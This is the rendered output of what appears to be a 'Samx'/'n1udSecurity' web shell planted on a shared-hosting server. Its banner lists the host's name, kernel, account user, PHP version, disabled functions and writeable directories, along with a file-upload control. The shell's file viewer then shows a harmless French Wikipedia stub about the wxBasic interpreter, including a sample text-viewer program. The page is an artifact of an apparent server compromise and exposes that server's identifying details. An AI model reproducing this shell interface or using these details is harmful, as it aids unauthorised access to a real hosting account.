Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/encyclo/articles/w/x/b/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/encyclo/articles/w/x/b/WxBasic_3dc8.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr" dir="ltr">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
	<!-- headlinks removed -->
	<link rel="shortcut icon" href="../../../../misc/favicon.ico"/>
    <title>WxBasic - Wikipédia</title>
    <style type="text/css">/*<![CDATA[*/ @import "../../../../skins/offline/main.css"; /*]]>*/</style>
    <link rel="stylesheet" type="text/css" media="print" href="../../../../skins/common/commonPrint.css" />
    <!--[if lt IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE50Fixes.css";</style><![endif]-->
    <!--[if IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE55Fixes.css";</style><![endif]-->
    <!--[if IE 6]><style type="text/css">@import "../../../../skins/monobook/IE60Fixes.css";</style><![endif]-->
    <!--[if IE]><script type="text/javascript" src="../../../../skins/common/IEFixes.js"></script>
    <meta http-equiv="imagetoolbar" content="no" /><![endif]-->
    <script type="text/javascript" src="../../../../skins/common/wikibits.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/md5.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/utf8.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/lookup.js"></script>
    <script type="text/javascript" src="../../../../raw/gen.js"></script>        <style type="text/css">/*<![CDATA[*/
@import "../../../../raw/MediaWiki%7ECommon.css";
@import "../../../../raw/MediaWiki%7EMonobook.css";
@import "../../../../raw/gen.css";
/*]]>*/</style>          </head>
  <body
    class="ns-0">
    <div id="globalWrapper">
      <div id="column-content">
	<div id="content">
	  <a name="top" id="contentTop"></a>
	        <h1 class="firstHeading">WxBasic</h1>
	  <div id="bodyContent">
	    <h3 id="siteSub">Un article de Wikipédia, l'encyclopédie libre.</h3>
	    <div id="contentSub"></div>
	    	    	    <!-- start content -->
	    <div class="plainlinks bandeau-niveau-modere bandeau">
<table style="background-color:transparent">
<tr>
<td class="bandeau-icone">
<div style="width:45px; text-align:center"><a href="../../../../articles/e/m/b/Image%7EEmblem-question.svg_09a2.html" class="image" title="Emblem-question.svg"><img alt="" src="../../../../images/shared/thumb/4/48/Emblem-question.svg/35px-Emblem-question.svg.png" width="35" height="35" border="0" /></a></div>
</td>
<td>
<div class="bandeau-titre"><strong>L’<a href="../../../../articles/c/r/i/Wikip%C3%A9dia%7ECrit%C3%A8res_d%27admissibilit%C3%A9_des_articles_1285.html" title="Wikipédia:Critères d'admissibilité des articles">admissibilité</a> de cet article est à vérifier.</strong></div>
<div class="bandeau-texte">Vous pouvez en discuter en page de discussion, voire le proposer en <a href="../../../../articles/p/a/g/Wikip%C3%A9dia%7EPages_%C3%A0_supprimer_7a96.html" title="Wikipédia:Pages à supprimer">suppression</a>.</div>
</td>
</tr>
</table>
</div>
<div class="plainlinks bandeau-niveau-ebauche bandeau">
<table style="background-color:transparent">
<tr>
<td class="bandeau-icone">
<div style="text-align:center;white-space:nowrap"><a href="../../../../articles/c/r/y/Image%7ECrystal_kpackage.png_1410.html" class="image" title="Crystal kpackage.png"><img alt="" src="../../../../images/shared/thumb/4/40/Crystal_kpackage.png/35px-Crystal_kpackage.png" width="35" height="35" border="0" /></a></div>
</td>
<td>
<div class="bandeau-titre"><strong>Cet article est une <a href="../../../../articles/%C3%A9/b/a/Aide%7E%C3%89bauche_a94d.html" title="Aide:Ébauche">ébauche</a> concernant les <a href="../../../../articles/l/o/g/Logiciel.html" title="Logiciel">logiciels</a>.</strong></div>
<div class="bandeau-texte">Vous pouvez partager vos connaissances en l’améliorant. <b>(<a href="../../../../articles/c/o/m/Aide%7EComment_modifier_une_page_32be.html" title="Aide:Comment modifier une page">Comment ?</a>)</b>.</div>
</td>
</tr>
</table>
</div>
<p><i><b>wxBasic</b></i> est un <a href="../../../../articles/l/o/g/Logiciel_libre.html" title="Logiciel libre">logiciel libre</a> / <a href="../../../../articles/o/p/e/Open-source.html" class="mw-redirect" title="Open-source">open-source</a>, <a href="../../../../articles/m/u/l/Multiplate-forme.html" title="Multiplate-forme">multi-plateformes</a> <a href="../../../../articles/b/a/s/BASIC_e4ac.html" title="BASIC">BASIC</a> <a href="../../../../articles/l/a/n/Langage_interpr%C3%A9t%C3%A9_informatique.html" title="Langage interprété informatique">interpréteur</a>. Il est basé sur la syntaxe facile du langage BASIC, il est simple à écrire, à relire et à comprendre, il permet aux novices en programmation de créer en toute simplicité des programmes à interface graphique pour Windows et Linux avec un minimum d'efforts.</p>
<p>Il peut créer un exécutable facilement grâce à l'interpréteur. Contrairement aux exécutables crées en Visual Basic, les exécutables crées avec wxBasic ne requiert aucun fichier DLL, fichier ressource, ou installation pour fonctionner. L'exécutable distribué seul peut être démarré immédiatement par les utilisateurs . comme pour tous les programmes écris avec un langage interprété, le code source des programmes peut être démarré si wxBasic est présent sur le système.</p>
<p>wxBasic est tout d'abord écris en C, ainsi qu'en C++ grâce à la bibliothèque wxWidgets. wxWidgets fournie aux programmes des caractéristiques <a href="../../../../articles/m/u/l/Multiplate-forme.html" title="Multiplate-forme">multi-plateformes</a> très puissantes pour nos amis débutants.</p>
<p>wxBasic fonctionne sous Windows en natif, et Linux(utilise la bibliothèque <a href="../../../../articles/g/t/k/GTK%2B_e270.html" title="GTK+">GTK+</a> ). Un port sous Macintosh est en cours.</p>
<p>wxBasic est un langage basé sur le <a href="../../../../articles/b/y/t/Bytecode.html" title="Bytecode">bytecode</a>, comme Perl ou Java.</p>
<p>Il est licencié sous <a href="../../../../articles/l/g/p/LGPL_a6bd.html" class="mw-redirect" title="LGPL">LGPL</a>, afin que le propriétaire du code puisse-t-y être relié.</p>
<p><a name="Exemple_de_code" id="Exemple_de_code"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/w/x/b/WxBasic_3dc8.html" title="Modifier la section&#160;: Exemple de code">modifier</a>]</span> <span class="mw-headline">Exemple de code</span></h2>
<p>Pour vous donner une idée de la syntaxe, voici le code d'un Visualiseur de texte&#160;:</p>
<pre>
  ' de http://wxbasic.sourceforge.net/phpBB2/viewtopic.php?t=554
  ' Simple Visualiseur de texte écris en WxBasic
  dim AppName = "Visualiseur de texte"
  fileName = "" 

  ' Fenêtre principale
  dim frame = new wxFrame( Nothing, -1, AppName &amp; " - Document Sans Titre" )
  ' Controle : Editeur de texte
  dim control = new wxTextCtrl( frame, -1, "", wxPoint( 0, 0 ),
  wxSize( 100, 100 ), wxTE_MULTILINE | wxTE_READONLY | wxTE_RICH)

  ' Barre de Status - La barre en bas de la fenêtre
  dim status = frame.CreateStatusBar( 1 )
  frame.SetStatusText("Prêt")
  '
  ' Dialogue pour l'ouverture d'un fichier
  dim fileDialog = new wxFileDialog( frame )
  '
  ' Ajouter une barre de menu
  dim mBar = new wxMenuBar()
  frame.SetMenuBar(mBar)
  '
  ' Mettre le menu Fichier dans la barre de menu
  dim mFile = new wxMenu()
  mBar.Append(mFile, "&amp;Fichier")

  ' Mettre les sous menu de fichier
  '
  mFile.Append( wxID_OPEN, "&amp;Ouvrir...", "Charger un fichier existant sur le disque" )
  '
  mFile.AppendSeparator()
  mFile.Append( wxID_EXIT, "Q&amp;uitter\tAlt-F4", "Exit Application" )

  Sub onFileOpen( event )
     fileDialog.SetMessage("Ouvrir un fichier")
     fileDialog.SetStyle( wxOPEN )
     If fileDialog.ShowModal() = wxID_OK Then
       fileName = fileDialog.GetPath()
       Ext = fileDialog.GetFilename()
       control.Clear()
       control.LoadFile( fileName )
       frame.SetTitle( AppName &amp; " - " &amp; fileName )
       frame.SetStatusText(Ext)
    End If
  End Sub
  '
  Connect( frame, wxID_OPEN, wxEVT_COMMAND_MENU_SELECTED, "onFileOpen" )

  Sub onFileExit( event )
    frame.Close(True)
  End Sub
  '
  Connect( frame, wxID_EXIT, wxEVT_COMMAND_MENU_SELECTED, "onFileExit" )

  ' Mettre le menu Aide dans la barre de menu
  dim mHelp = new wxMenu()
  mBar.Append(mHelp, "&amp;Aide")
  mHelp.Append( wxID_HELP, "&amp;A propos de\tF1", "A propos de ce programme" )
  '
  Sub onHelpAbout( event )
    Dim msg = "Le visualiseur de texte permet de visualiser n'importe quel fichier texte indépendament de son extension.\n" &amp;
        "Si le fichier est déjà ouvert par un autre programme, alors il ne pourra pas être affiché."
    wxMessageBox( msg, "A propos du Visualiseur de Texte", wxOK + wxICON_INFORMATION, frame )
  End Sub
  Connect( frame, wxID_HELP, wxEVT_COMMAND_MENU_SELECTED, "onHelpAbout" )

  frame.Show(True)
</pre>
<p><a name="Liens_externes" id="Liens_externes"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/w/x/b/WxBasic_3dc8.html" title="Modifier la section&#160;: Liens externes">modifier</a>]</span> <span class="mw-headline">Liens externes</span></h2>
<ul>
<li><a href="http://wxbasic.sourceforge.net/" class="external text" title="http://wxbasic.sourceforge.net/" rel="nofollow">Page d'accueil wxBasic</a> (en)</li>
<li><a href="http://wxbasic.sourceforge.net/phpBB2/index.php" class="external text" title="http://wxbasic.sourceforge.net/phpBB2/index.php" rel="nofollow">Forum wxBasic</a> (en)</li>
<li><a href="http://wiki.wxwidgets.org/wiki.pl?WxBasic_Tutorial" class="external text" title="http://wiki.wxwidgets.org/wiki.pl?WxBasic_Tutorial" rel="nofollow">Tutoriel WxBasic</a> (en)</li>
</ul>


<!-- 
NewPP limit report
Preprocessor node count: 324/1000000
Post-expand include size: 3724/2048000 bytes
Template argument size: 1046/2048000 bytes
Expensive parser function count: 2/500
-->
<div class="printfooter">
</div>
	    <div id="catlinks"><div id='catlinks' class='catlinks'><div id="mw-normal-catlinks"><a href="../../../../articles/a/c/c/Cat%C3%A9gorie%7EAccueil_1aae.html" title="Catégorie:Accueil">Catégorie</a>&nbsp;:&#32;<span dir='ltr'><a href="../../../../articles/c/o/m/Cat%C3%A9gorie%7ECompilateur_cff0.html" title="Catégorie:Compilateur">Compilateur</a></span></div><div id="mw-hidden-catlinks" class="mw-hidden-cats-hidden">Catégories cachées&nbsp;:&#32;<span dir='ltr'><a href="../../../../articles/a/d/m/Cat%C3%A9gorie%7EAdmissibilit%C3%A9_%C3%A0_v%C3%A9rifier_3908.html" title="Catégorie:Admissibilité à vérifier">Admissibilité à vérifier</a></span> | <span dir='ltr'><a href="../../../../articles/w/i/k/Cat%C3%A9gorie%7EWikip%C3%A9dia%7E%C3%A9bauche_logiciel_86fc.html" title="Catégorie:Wikipédia:ébauche logiciel">Wikipédia:ébauche logiciel</a></span></div></div></div>	    <!-- end content -->
	    <div class="visualClear"></div>
	  </div>
	</div>
      </div>
      <div id="column-one">
	<div id="p-cactions" class="portlet">
	  <h5>Views</h5>
	  <ul>
	    <li id="ca-nstab-main"
	       class="selected"	       ><a href="../../../../articles/w/x/b/WxBasic_3dc8.html">Article</a></li><li id="ca-talk"
	       class="new"	       ><a href="../../../../articles/w/x/b/Discuter%7EWxBasic_54fd.html">Discussion</a></li><li id="ca-current"
	       	       ><a href="http://fr.wikipedia.org/wiki/WxBasic">Version actuelle</a></li>	  </ul>
	</div>
	<div class="portlet" id="p-logo">
	  <a style="background-image: url(../../../../misc/Wiki.png);"
	    href="../../../../index.html"
	    title="Accueil"></a>
	</div>
	<script type="text/javascript"> if (window.isMSIE55) fixalpha(); </script>
		<div class='portlet' id='p-navigation'>
	  <h5>Navigation</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-mainpage"><a href="../../../../index.html">Accueil</a></li>
	     	      <li id="n-thema"><a href="../../../../articles/a/c/c/Portail%7EAccueil_bcc9.html">Portails thématiques</a></li>
	     	      <li id="n-alphindex"><a href="../../../../articles/t/o/u/Special%7EToutes_les_pages_fabc.html">Index alphabétique</a></li>
	     	      <li id="n-randompage"><a href="../../../../articles/p/a/g/Special%7EPage_au_hasard_9c81.html">Un article au hasard</a></li>
	     	      <li id="n-contact"><a href="../../../../articles/c/o/n/Wikip%C3%A9dia%7EContact_929e.html">Contacter Wikipédia</a></li>
	     	    </ul>
	  </div>
	</div>
		<div class='portlet' id='p-Contribuer'>
	  <h5>Contribuer</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-help"><a href="../../../../articles/s/o/m/Aide%7ESommaire_c9f0.html">Aide</a></li>
	     	      <li id="n-portal"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_5272.html">Communauté</a></li>
	     	      <li id="n-recentchanges"><a href="../../../../articles/m/o/d/Special%7EModifications_r%C3%A9centes_b222.html">Modifications récentes</a></li>
	     	      <li id="n-aboutwp"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_des_nouveaux_arrivants_0784.html">Accueil des nouveaux arrivants</a></li>
	     	      <li id="n-sitesupport"><a href="http://meta.wikimedia.org/wiki/Faire_un_don:_explication">Faire un don</a></li>
	     	    </ul>
	  </div>
	</div>
		<div id="p-search" class="portlet">
	  <h5><label for="searchInput">Rechercher</label></h5>
	  <div id="searchBody" class="pBody">
	    <form action="javascript:goToStatic(3)" id="searchform"><div>
	      <input id="searchInput" name="search" type="text"
	        accesskey="C" value="" />
	      <input type='submit' name="go" class="searchButton" id="searchGoButton"
	        value="Aller" />
	    </div></form>
	  </div>
	</div>
	<div id="p-lang" class="portlet">
	  <h5>Autres langues</h5>
	  <div class="pBody">
	    <ul>
	      	      <li>
	      <a href="../../../../../de/articles/w/x/b/WxBasic_3dc8.html">Deutsch</a>
	      </li>
	      	      <li>
	      <a href="../../../../../pt/articles/w/x/b/WxBasic_3dc8.html">Português</a>
	      </li>
	      	      <li>
	      <a href="../../../../../en/articles/w/x/b/WxBasic_3dc8.html">English</a>
	      </li>
	      	    </ul>
	  </div>
	</div>
	      </div><!-- end of the left (by default at least) column -->
      <div class="visualClear"></div>
      <div id="footer">
    <div id="f-poweredbyico"><a href="http://www.mediawiki.org/"><img src="../../../../skins/common/images/poweredby_mediawiki_88x31.png" alt="Powered by MediaWiki" /></a></div>	<div id="f-copyrightico"><a href="http://wikimediafoundation.org/"><img src="../../../../misc/wikimedia-button.png" border="0" alt="Wikimedia Foundation"/></a></div>	<ul id="f-list">
	  	  	  <li id="f-credits">Cette page a été modifiée pour la dernière fois le 15 mai 2008 à 23:41 par Utilisateur <a href="../../../../articles/a/v/a/Utilisateur%7EAvatar_2ac4.html" title="Utilisateur:Avatar">Avatar</a>. Basé sur le travail de Utilisateur(s) Tintou noel.</li>	  <li id="f-copyright"><span style="white-space:normal"><a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Droit_d'auteur" title="Droit d'auteur">Droit d'auteur</a> : Tous les textes sont disponibles sous les termes de la <a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Licence_de_documentation_libre_GNU" title="GFDL">licence de documentation libre GNU</a> (GFDL).<br/>
Wikipedia® est une marque déposée de la <a href="http://wikimediafoundation.org/wiki/Accueil" title="Wikimedia Foundation">Wikimedia Foundation, Inc.</a>, organisation de bienfaisance régie par le paragraphe <a class="internal" href="http://en.wikipedia.org/wiki/501(c)" title="501(c)">501(c)(3)</a> du code fiscal des États-Unis.</span><br/></li>	  <li id="f-about"><a href="../../../../articles/%C3%A0/_/p/Wikip%C3%A9dia%7E%C3%80_propos_5de1.html" title="Wikipédia:À propos">À propos de Wikipédia</a></li>	  <li id="f-disclaimer"><a href="../../../../articles/a/v/e/Wikip%C3%A9dia%7EAvertissements_g%C3%A9n%C3%A9raux_fef1.html" title="Wikipédia:Avertissements généraux">Avertissements</a></li>	  	</ul>
      </div>
    </div>
  </body>
</html>

SAMX